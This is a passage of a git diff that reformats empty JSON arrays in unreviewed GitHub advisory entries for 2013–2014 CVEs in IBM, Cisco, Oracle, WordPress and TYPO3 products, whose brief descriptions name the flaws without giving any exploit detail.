"affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-23c4-jq8q-2m9j/GHSA-23c4-jq8q-2m9j.json b/advisories/unreviewed/2022/05/GHSA-23c4-jq8q-2m9j/GHSA-23c4-jq8q-2m9j.json index e59c03a5d38..2d3898a80b6 100644 --- a/advisories/unreviewed/2022/05/GHSA-23c4-jq8q-2m9j/GHSA-23c4-jq8q-2m9j.json +++ b/advisories/unreviewed/2022/05/GHSA-23c4-jq8q-2m9j/GHSA-23c4-jq8q-2m9j.json @@ -7,12 +7,8 @@ "CVE-2013-5402" ], "details": "Cross-site scripting (XSS) vulnerability in IBM Maximo Asset Management, Maximo Asset Management Essentials, Maximo for Government, Maximo for Nuclear Power, Maximo for Transportation, Maximo for Life Sciences, Maximo for Oil and Gas, and Maximo for Utilities 7.1.x through 7.1.1.12, 7.1.2, 7.5 before 7.5.0.3 IFIX014, and 7.5.0.5 before IFIX003; SmartCloud Control Desk (SCCD) 7.5 before 7.5.0.3 IFIX014 and 7.5.0.5 before IFIX003; and Tivoli Asset Management for IT, Tivoli Service Request Manager, Maximo Service Desk, and Change and Configuration Management Database (CCMDB) 7.1.x through 7.1.1.12, 7.1.2, and 7.2.x through 7.2.1 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-24jg-h6v2-qfrg/GHSA-24jg-h6v2-qfrg.json b/advisories/unreviewed/2022/05/GHSA-24jg-h6v2-qfrg/GHSA-24jg-h6v2-qfrg.json index e14a95609de..57e802bc2d5 100644 --- a/advisories/unreviewed/2022/05/GHSA-24jg-h6v2-qfrg/GHSA-24jg-h6v2-qfrg.json +++ b/advisories/unreviewed/2022/05/GHSA-24jg-h6v2-qfrg/GHSA-24jg-h6v2-qfrg.json @@ -7,12 +7,8 @@ "CVE-2013-6304" ], "details": "Multiple directory traversal vulnerabilities in Algo Risk Application (ARA) 2.4.0.1 through 4.9.1 in IBM Algo One allow remote authenticated users to bypass intended access restrictions via a crafted pathname for a (1) configuration or (2) JAR file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-253c-crvf-xgfx/GHSA-253c-crvf-xgfx.json b/advisories/unreviewed/2022/05/GHSA-253c-crvf-xgfx/GHSA-253c-crvf-xgfx.json index 2a1455363b9..392163891ea 100644 --- a/advisories/unreviewed/2022/05/GHSA-253c-crvf-xgfx/GHSA-253c-crvf-xgfx.json +++ b/advisories/unreviewed/2022/05/GHSA-253c-crvf-xgfx/GHSA-253c-crvf-xgfx.json @@ -7,12 +7,8 @@ "CVE-2013-6309" ], "details": "IBM Marketing Platform 9.1 before FP2 allows remote authenticated users to hijack sessions, and consequently read records, modify records, or conduct transactions, via an unspecified link injection.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-255c-8m52-v92x/GHSA-255c-8m52-v92x.json b/advisories/unreviewed/2022/05/GHSA-255c-8m52-v92x/GHSA-255c-8m52-v92x.json index 6938e244b89..06939d855e0 100644 --- a/advisories/unreviewed/2022/05/GHSA-255c-8m52-v92x/GHSA-255c-8m52-v92x.json +++ b/advisories/unreviewed/2022/05/GHSA-255c-8m52-v92x/GHSA-255c-8m52-v92x.json @@ -7,12 +7,8 @@ "CVE-2013-7296" ], "details": "The JBIG2Stream::readSegments method in JBIG2Stream.cc in Poppler before 0.24.5 does not use the correct specifier within a format string, which allows context-dependent attackers to cause a denial of service (segmentation fault and application crash) via a crafted PDF file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-25vf-27mm-c4fh/GHSA-25vf-27mm-c4fh.json b/advisories/unreviewed/2022/05/GHSA-25vf-27mm-c4fh/GHSA-25vf-27mm-c4fh.json index 7fec4d6219f..90fdf5434b9 100644 --- a/advisories/unreviewed/2022/05/GHSA-25vf-27mm-c4fh/GHSA-25vf-27mm-c4fh.json +++ b/advisories/unreviewed/2022/05/GHSA-25vf-27mm-c4fh/GHSA-25vf-27mm-c4fh.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-267p-cfhw-5jw7/GHSA-267p-cfhw-5jw7.json b/advisories/unreviewed/2022/05/GHSA-267p-cfhw-5jw7/GHSA-267p-cfhw-5jw7.json index c028ad71f7d..87e29646d32 100644 --- a/advisories/unreviewed/2022/05/GHSA-267p-cfhw-5jw7/GHSA-267p-cfhw-5jw7.json +++ b/advisories/unreviewed/2022/05/GHSA-267p-cfhw-5jw7/GHSA-267p-cfhw-5jw7.json @@ -7,12 +7,8 @@ "CVE-2013-3423" ], "details": "Cross-site scripting (XSS) vulnerability in the web interface in Cisco Secure Access Control System (ACS) allows remote attackers to inject arbitrary web script or HTML via an unspecified field, aka Bug ID CSCud75174.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-269q-phhx-gq68/GHSA-269q-phhx-gq68.json b/advisories/unreviewed/2022/05/GHSA-269q-phhx-gq68/GHSA-269q-phhx-gq68.json index afbd0832dc1..3431680f78c 100644 --- a/advisories/unreviewed/2022/05/GHSA-269q-phhx-gq68/GHSA-269q-phhx-gq68.json +++ b/advisories/unreviewed/2022/05/GHSA-269q-phhx-gq68/GHSA-269q-phhx-gq68.json @@ -7,12 +7,8 @@ "CVE-2013-5961" ], "details": "Unrestricted file upload vulnerability in lazyseo.php in the Lazy SEO plugin 1.1.9 for WordPress allows remote attackers to execute arbitrary PHP code by uploading a PHP file, then accessing it via a direct request to the file in lazy-seo/.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-26pr-grxv-7v6g/GHSA-26pr-grxv-7v6g.json b/advisories/unreviewed/2022/05/GHSA-26pr-grxv-7v6g/GHSA-26pr-grxv-7v6g.json index 0e34e765036..aa181fa73a5 100644 --- a/advisories/unreviewed/2022/05/GHSA-26pr-grxv-7v6g/GHSA-26pr-grxv-7v6g.json +++ b/advisories/unreviewed/2022/05/GHSA-26pr-grxv-7v6g/GHSA-26pr-grxv-7v6g.json @@ -7,12 +7,8 @@ "CVE-2013-3984" ], "details": "The Meeting Server in IBM Sametime 8.x through 8.5.2.1 and 9.x through 9.0.0.1 does not set the secure flag for an unspecified cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-28jp-5r9q-jh8r/GHSA-28jp-5r9q-jh8r.json b/advisories/unreviewed/2022/05/GHSA-28jp-5r9q-jh8r/GHSA-28jp-5r9q-jh8r.json index 4b78e002aaa..c811a5643db 100644 --- a/advisories/unreviewed/2022/05/GHSA-28jp-5r9q-jh8r/GHSA-28jp-5r9q-jh8r.json +++ b/advisories/unreviewed/2022/05/GHSA-28jp-5r9q-jh8r/GHSA-28jp-5r9q-jh8r.json @@ -7,12 +7,8 @@ "CVE-2013-3992" ], "details": "Cross-site request forgery (CSRF) vulnerability in IBM InfoSphere BigInsights 2.0 through 2.1 allows remote authenticated users to hijack the authentication of unspecified victims via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-2cg2-x4m3-3vpp/GHSA-2cg2-x4m3-3vpp.json b/advisories/unreviewed/2022/05/GHSA-2cg2-x4m3-3vpp/GHSA-2cg2-x4m3-3vpp.json index 4cd214f5088..a0e067d672f 100644 --- a/advisories/unreviewed/2022/05/GHSA-2cg2-x4m3-3vpp/GHSA-2cg2-x4m3-3vpp.json +++ b/advisories/unreviewed/2022/05/GHSA-2cg2-x4m3-3vpp/GHSA-2cg2-x4m3-3vpp.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-2f93-2pfr-964f/GHSA-2f93-2pfr-964f.json b/advisories/unreviewed/2022/05/GHSA-2f93-2pfr-964f/GHSA-2f93-2pfr-964f.json index 35a12a968ad..16200e6d53d 100644 --- a/advisories/unreviewed/2022/05/GHSA-2f93-2pfr-964f/GHSA-2f93-2pfr-964f.json +++ b/advisories/unreviewed/2022/05/GHSA-2f93-2pfr-964f/GHSA-2f93-2pfr-964f.json @@ -7,12 +7,8 @@ "CVE-2013-6936" ], "details": "Multiple SQL injection vulnerabilities in ajaxfs.php in the Ajax forum stat (Ajaxfs) Plugin 2.0 for MyBB (aka MyBulletinBoard) allow remote attackers to execute arbitrary SQL commands via the (1) tooltip or (2) usertooltip parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-2gv7-7rpw-x383/GHSA-2gv7-7rpw-x383.json b/advisories/unreviewed/2022/05/GHSA-2gv7-7rpw-x383/GHSA-2gv7-7rpw-x383.json index c972448418a..b6802c91580 100644 --- a/advisories/unreviewed/2022/05/GHSA-2gv7-7rpw-x383/GHSA-2gv7-7rpw-x383.json +++ b/advisories/unreviewed/2022/05/GHSA-2gv7-7rpw-x383/GHSA-2gv7-7rpw-x383.json @@ -7,12 +7,8 @@ "CVE-2013-7042" ], "details": "SUSE Lifecycle Management Server (SLMS) before 1.3.7 uses world-readable permissions for the secret keys, which allows local users to gain privileges via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-2h3x-87v9-5cx9/GHSA-2h3x-87v9-5cx9.json b/advisories/unreviewed/2022/05/GHSA-2h3x-87v9-5cx9/GHSA-2h3x-87v9-5cx9.json index 51edbda1df4..e46eed0527c 100644 --- a/advisories/unreviewed/2022/05/GHSA-2h3x-87v9-5cx9/GHSA-2h3x-87v9-5cx9.json +++ b/advisories/unreviewed/2022/05/GHSA-2h3x-87v9-5cx9/GHSA-2h3x-87v9-5cx9.json @@ -7,12 +7,8 @@ "CVE-2014-0567" ], "details": "Heap-based buffer overflow in Adobe Reader and Acrobat 10.x before 10.1.12 and 11.x before 11.0.09 on Windows and OS X allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2014-0561.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-2h4m-4gc2-w5rm/GHSA-2h4m-4gc2-w5rm.json b/advisories/unreviewed/2022/05/GHSA-2h4m-4gc2-w5rm/GHSA-2h4m-4gc2-w5rm.json index 3e0edefad77..193750c26e8 100644 --- a/advisories/unreviewed/2022/05/GHSA-2h4m-4gc2-w5rm/GHSA-2h4m-4gc2-w5rm.json +++ b/advisories/unreviewed/2022/05/GHSA-2h4m-4gc2-w5rm/GHSA-2h4m-4gc2-w5rm.json @@ -7,12 +7,8 @@ "CVE-2013-3810" ], "details": "Unspecified vulnerability in the MySQL Server component in Oracle MySQL 5.6.11 and earlier allows remote authenticated users to affect availability via unknown vectors related to XA Transactions.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-2j7h-8wqx-75mg/GHSA-2j7h-8wqx-75mg.json b/advisories/unreviewed/2022/05/GHSA-2j7h-8wqx-75mg/GHSA-2j7h-8wqx-75mg.json index 650c2b007fc..1af7726a133 100644 --- a/advisories/unreviewed/2022/05/GHSA-2j7h-8wqx-75mg/GHSA-2j7h-8wqx-75mg.json +++ b/advisories/unreviewed/2022/05/GHSA-2j7h-8wqx-75mg/GHSA-2j7h-8wqx-75mg.json @@ -7,12 +7,8 @@ "CVE-2013-3788" ], "details": "Unspecified vulnerability in the Oracle iSupplier Portal component in Oracle E-Business Suite 11.5.10.2, 12.0.6, 12.1.1, 12.1.2, and 12.1.3 allows remote attackers to affect integrity via unknown vectors related to Supplier Management.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-2jv5-h643-m9jp/GHSA-2jv5-h643-m9jp.json b/advisories/unreviewed/2022/05/GHSA-2jv5-h643-m9jp/GHSA-2jv5-h643-m9jp.json index a8af9a200a8..09802ce8906 100644 --- a/advisories/unreviewed/2022/05/GHSA-2jv5-h643-m9jp/GHSA-2jv5-h643-m9jp.json +++ b/advisories/unreviewed/2022/05/GHSA-2jv5-h643-m9jp/GHSA-2jv5-h643-m9jp.json @@ -7,12 +7,8 @@ "CVE-2013-5450" ], "details": "IBM Security AppScan Enterprise 8.5 through 8.7.0.1, when Jazz authentication is enabled, allows man-in-the-middle attackers to obtain sensitive information or modify data by leveraging an improperly protected URL to obtain a session token.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-2mfx-wqj9-m26w/GHSA-2mfx-wqj9-m26w.json b/advisories/unreviewed/2022/05/GHSA-2mfx-wqj9-m26w/GHSA-2mfx-wqj9-m26w.json index a0c9e19f49f..b1b9543dbe0 100644 --- a/advisories/unreviewed/2022/05/GHSA-2mfx-wqj9-m26w/GHSA-2mfx-wqj9-m26w.json +++ b/advisories/unreviewed/2022/05/GHSA-2mfx-wqj9-m26w/GHSA-2mfx-wqj9-m26w.json @@ -7,12 +7,8 @@ "CVE-2013-3989" ], "details": "IBM Security AppScan Enterprise 8.x before 8.8 sends a cleartext AppScan Source database password in a response, which allows remote authenticated users to obtain sensitive information, and subsequently conduct man-in-the-middle attacks, by examining the response content.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-2mp7-r7rc-5fh6/GHSA-2mp7-r7rc-5fh6.json b/advisories/unreviewed/2022/05/GHSA-2mp7-r7rc-5fh6/GHSA-2mp7-r7rc-5fh6.json index 3940b4958d7..c97d0c53dd2 100644 --- a/advisories/unreviewed/2022/05/GHSA-2mp7-r7rc-5fh6/GHSA-2mp7-r7rc-5fh6.json +++ b/advisories/unreviewed/2022/05/GHSA-2mp7-r7rc-5fh6/GHSA-2mp7-r7rc-5fh6.json @@ -7,12 +7,8 @@ "CVE-2013-3430" ], "details": "Cisco Video Surveillance Manager (VSM) before 7.0.0 allows remote attackers to obtain sensitive configuration, archive, and log information via unspecified vectors, related to the Cisco_VSBWT (aka Broadware sample code) package, aka Bug ID CSCsv37288.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-2mvg-5fwf-w2pp/GHSA-2mvg-5fwf-w2pp.json b/advisories/unreviewed/2022/05/GHSA-2mvg-5fwf-w2pp/GHSA-2mvg-5fwf-w2pp.json index bbed672ce24..046ce6485e5 100644 --- a/advisories/unreviewed/2022/05/GHSA-2mvg-5fwf-w2pp/GHSA-2mvg-5fwf-w2pp.json +++ b/advisories/unreviewed/2022/05/GHSA-2mvg-5fwf-w2pp/GHSA-2mvg-5fwf-w2pp.json @@ -7,12 +7,8 @@ "CVE-2013-4003" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in IBM TRIRIGA Application Platform 2.x and 3.x before 3.3.1.1, and 8, allow remote authenticated users to inject arbitrary web script or HTML via (1) unspecified input to WebProcess.srv, (2) unspecified input to html/en/default/actionHandler/queryHandler.jsp, or (3) unspecified input in a portalSectionId action to html/en/default/reportTemplate/hGridTopQuery.jsp.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-2pmm-x4jh-9c6g/GHSA-2pmm-x4jh-9c6g.json b/advisories/unreviewed/2022/05/GHSA-2pmm-x4jh-9c6g/GHSA-2pmm-x4jh-9c6g.json index 30ec6873529..91e9541c1a2 100644 --- a/advisories/unreviewed/2022/05/GHSA-2pmm-x4jh-9c6g/GHSA-2pmm-x4jh-9c6g.json +++ b/advisories/unreviewed/2022/05/GHSA-2pmm-x4jh-9c6g/GHSA-2pmm-x4jh-9c6g.json @@ -7,12 +7,8 @@ "CVE-2013-4021" ], "details": "IBM Maximo Asset Management 6.2 through 6.2.8, 7.1 before 7.1.1.12, and 7.5 before 7.5.0.5 allows remote authenticated users to conduct unspecified file-inclusion attacks via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-2ppc-m2x5-g88c/GHSA-2ppc-m2x5-g88c.json b/advisories/unreviewed/2022/05/GHSA-2ppc-m2x5-g88c/GHSA-2ppc-m2x5-g88c.json index 26969aba668..538d7e77825 100644 --- a/advisories/unreviewed/2022/05/GHSA-2ppc-m2x5-g88c/GHSA-2ppc-m2x5-g88c.json +++ b/advisories/unreviewed/2022/05/GHSA-2ppc-m2x5-g88c/GHSA-2ppc-m2x5-g88c.json @@ -7,12 +7,8 @@ "CVE-2013-5305" ], "details": "Cross-site scripting (XSS) vulnerability in the Store Locator (locator) extension before 3.1.5 for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-2px6-vpqc-46h5/GHSA-2px6-vpqc-46h5.json b/advisories/unreviewed/2022/05/GHSA-2px6-vpqc-46h5/GHSA-2px6-vpqc-46h5.json index cffe4ffd259..0e9e5083067 100644 --- a/advisories/unreviewed/2022/05/GHSA-2px6-vpqc-46h5/GHSA-2px6-vpqc-46h5.json +++ b/advisories/unreviewed/2022/05/GHSA-2px6-vpqc-46h5/GHSA-2px6-vpqc-46h5.json @@ -7,12 +7,8 @@ "CVE-2013-5453" ], "details": "IBM Security AppScan Enterprise 5.6 through 8.7.0.1 allows remote authenticated users to read arbitrary report files by leveraging knowledge of filenames that cannot be easily predicted.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-2r4x-wmr4-6f57/GHSA-2r4x-wmr4-6f57.json b/advisories/unreviewed/2022/05/GHSA-2r4x-wmr4-6f57/GHSA-2r4x-wmr4-6f57.json index 704efa3307d..f012f23869e 100644 --- a/advisories/unreviewed/2022/05/GHSA-2r4x-wmr4-6f57/GHSA-2r4x-wmr4-6f57.json +++ b/advisories/unreviewed/2022/05/GHSA-2r4x-wmr4-6f57/GHSA-2r4x-wmr4-6f57.json @@ -7,12 +7,8 @@ "CVE-2013-3928" ], "details": "Stack-based buffer overflow in the ReadFile function in flt_BMP.dll in Chasys Draw IES before 4.11.02 allows remote attackers to execute arbitrary code via crafted biPlanes and biBitCount fields in a BMP file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-2r5w-8r8w-hxph/GHSA-2r5w-8r8w-hxph.json b/advisories/unreviewed/2022/05/GHSA-2r5w-8r8w-hxph/GHSA-2r5w-8r8w-hxph.json index f499c9fc55b..f168082cf7b 100644 --- a/advisories/unreviewed/2022/05/GHSA-2r5w-8r8w-hxph/GHSA-2r5w-8r8w-hxph.json +++ b/advisories/unreviewed/2022/05/GHSA-2r5w-8r8w-hxph/GHSA-2r5w-8r8w-hxph.json @@ -7,12 +7,8 @@ "CVE-2013-2152" ], "details": "Unquoted Windows search path vulnerability in the SPICE service, as used in Red Hat Enterprise Virtualization (RHEV) 3.2, allows local users to gain privileges via a crafted application in an unspecified folder.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-2v24-xp2p-2gfc/GHSA-2v24-xp2p-2gfc.json b/advisories/unreviewed/2022/05/GHSA-2v24-xp2p-2gfc/GHSA-2v24-xp2p-2gfc.json index 69e061c33c9..2cb55f020d7 100644 --- a/advisories/unreviewed/2022/05/GHSA-2v24-xp2p-2gfc/GHSA-2v24-xp2p-2gfc.json +++ b/advisories/unreviewed/2022/05/GHSA-2v24-xp2p-2gfc/GHSA-2v24-xp2p-2gfc.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-2v86-4x6m-fpw5/GHSA-2v86-4x6m-fpw5.json b/advisories/unreviewed/2022/05/GHSA-2v86-4x6m-fpw5/GHSA-2v86-4x6m-fpw5.json index bfbb94e9239..30d2adf349f 100644 --- a/advisories/unreviewed/2022/05/GHSA-2v86-4x6m-fpw5/GHSA-2v86-4x6m-fpw5.json +++ b/advisories/unreviewed/2022/05/GHSA-2v86-4x6m-fpw5/GHSA-2v86-4x6m-fpw5.json @@ -7,12 +7,8 @@ "CVE-2013-3765" ], "details": "Unspecified vulnerability in Oracle Solaris 11 allows local users to affect availability via unknown vectors related to Kernel/VM.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-2vhq-j8rr-mv28/GHSA-2vhq-j8rr-mv28.json b/advisories/unreviewed/2022/05/GHSA-2vhq-j8rr-mv28/GHSA-2vhq-j8rr-mv28.json index 0b85b3cd6c7..a08653cf87a 100644 --- a/advisories/unreviewed/2022/05/GHSA-2vhq-j8rr-mv28/GHSA-2vhq-j8rr-mv28.json +++ b/advisories/unreviewed/2022/05/GHSA-2vhq-j8rr-mv28/GHSA-2vhq-j8rr-mv28.json @@ -7,12 +7,8 @@ "CVE-2013-5420" ], "details": "The IMS server before Ifix 6 in IBM Security Access Manager for Enterprise Single Sign-On (ISAM ESSO) 8.2 allows remote authenticated users to read log files by leveraging helpdesk privileges for a direct request.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-2vr7-cm5g-mpcr/GHSA-2vr7-cm5g-mpcr.json b/advisories/unreviewed/2022/05/GHSA-2vr7-cm5g-mpcr/GHSA-2vr7-cm5g-mpcr.json index 70eec4a0fe2..e4864dc6988 100644 --- a/advisories/unreviewed/2022/05/GHSA-2vr7-cm5g-mpcr/GHSA-2vr7-cm5g-mpcr.json +++ b/advisories/unreviewed/2022/05/GHSA-2vr7-cm5g-mpcr/GHSA-2vr7-cm5g-mpcr.json @@ -7,12 +7,8 @@ "CVE-2013-2959" ], "details": "The Console in IBM InfoSphere Optim Data Growth for Oracle E-Business Suite 6.x, 7.x, and 9.x before 9.1.0.3 does not provide an encrypted session for transmitting login credentials, which allows remote attackers to obtain sensitive information by sniffing the network.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-2w3m-vv2j-4cpr/GHSA-2w3m-vv2j-4cpr.json b/advisories/unreviewed/2022/05/GHSA-2w3m-vv2j-4cpr/GHSA-2w3m-vv2j-4cpr.json index 9e131c95bd3..aa50f477660 100644 --- a/advisories/unreviewed/2022/05/GHSA-2w3m-vv2j-4cpr/GHSA-2w3m-vv2j-4cpr.json +++ b/advisories/unreviewed/2022/05/GHSA-2w3m-vv2j-4cpr/GHSA-2w3m-vv2j-4cpr.json @@ -7,12 +7,8 @@ "CVE-2013-5673" ], "details": "SQL injection vulnerability in testimonial.php in the IndiaNIC Testimonial plugin 2.2 for WordPress allows remote attackers to execute arbitrary SQL commands via the custom_query parameter in a testimonial_add action to wp-admin/admin-ajax.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-2wg8-2p2f-8ccc/GHSA-2wg8-2p2f-8ccc.json b/advisories/unreviewed/2022/05/GHSA-2wg8-2p2f-8ccc/GHSA-2wg8-2p2f-8ccc.json index 95779bda682..2a41512da15 100644 --- a/advisories/unreviewed/2022/05/GHSA-2wg8-2p2f-8ccc/GHSA-2wg8-2p2f-8ccc.json +++ b/advisories/unreviewed/2022/05/GHSA-2wg8-2p2f-8ccc/GHSA-2wg8-2p2f-8ccc.json @@ -7,12 +7,8 @@ "CVE-2013-3775" ], "details": "Unspecified vulnerability in the Oracle iLearning component in Oracle iLearning 5.2.1 and 6.0 allows remote attackers to affect integrity via unknown vectors related to Learner Pages.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-2wr7-2hcf-m5qc/GHSA-2wr7-2hcf-m5qc.json b/advisories/unreviewed/2022/05/GHSA-2wr7-2hcf-m5qc/GHSA-2wr7-2hcf-m5qc.json index a08c94c7068..6fcd5d92d17 100644 --- a/advisories/unreviewed/2022/05/GHSA-2wr7-2hcf-m5qc/GHSA-2wr7-2hcf-m5qc.json +++ b/advisories/unreviewed/2022/05/GHSA-2wr7-2hcf-m5qc/GHSA-2wr7-2hcf-m5qc.json @@ -7,12 +7,8 @@ "CVE-2013-4747" ], "details": "Cross-site scripting (XSS) vulnerability in the Accessible browse results for indexed search (accessible_is_browse_results) extension 1.2.1 and earlier for TYPO3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-2xxx-v399-cp66/GHSA-2xxx-v399-cp66.json b/advisories/unreviewed/2022/05/GHSA-2xxx-v399-cp66/GHSA-2xxx-v399-cp66.json index bb73d0fd0c1..6dd9330cf8b 100644 --- a/advisories/unreviewed/2022/05/GHSA-2xxx-v399-cp66/GHSA-2xxx-v399-cp66.json +++ b/advisories/unreviewed/2022/05/GHSA-2xxx-v399-cp66/GHSA-2xxx-v399-cp66.json @@ -7,12 +7,8 @@ "CVE-2013-7322" ], "details": "usersfile.c in liboath in OATH Toolkit before 2.4.1 does not properly handle lines containing an invalid one-time-password (OTP) type and a user name in /etc/users.oath, which causes the wrong line to be updated when invalidating an OTP and allows context-dependent attackers to conduct replay attacks, as demonstrated by a commented out line when using libpam-oath.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-32pp-737v-fvr3/GHSA-32pp-737v-fvr3.json b/advisories/unreviewed/2022/05/GHSA-32pp-737v-fvr3/GHSA-32pp-737v-fvr3.json index a57717692c6..2ced60b68e7 100644 --- 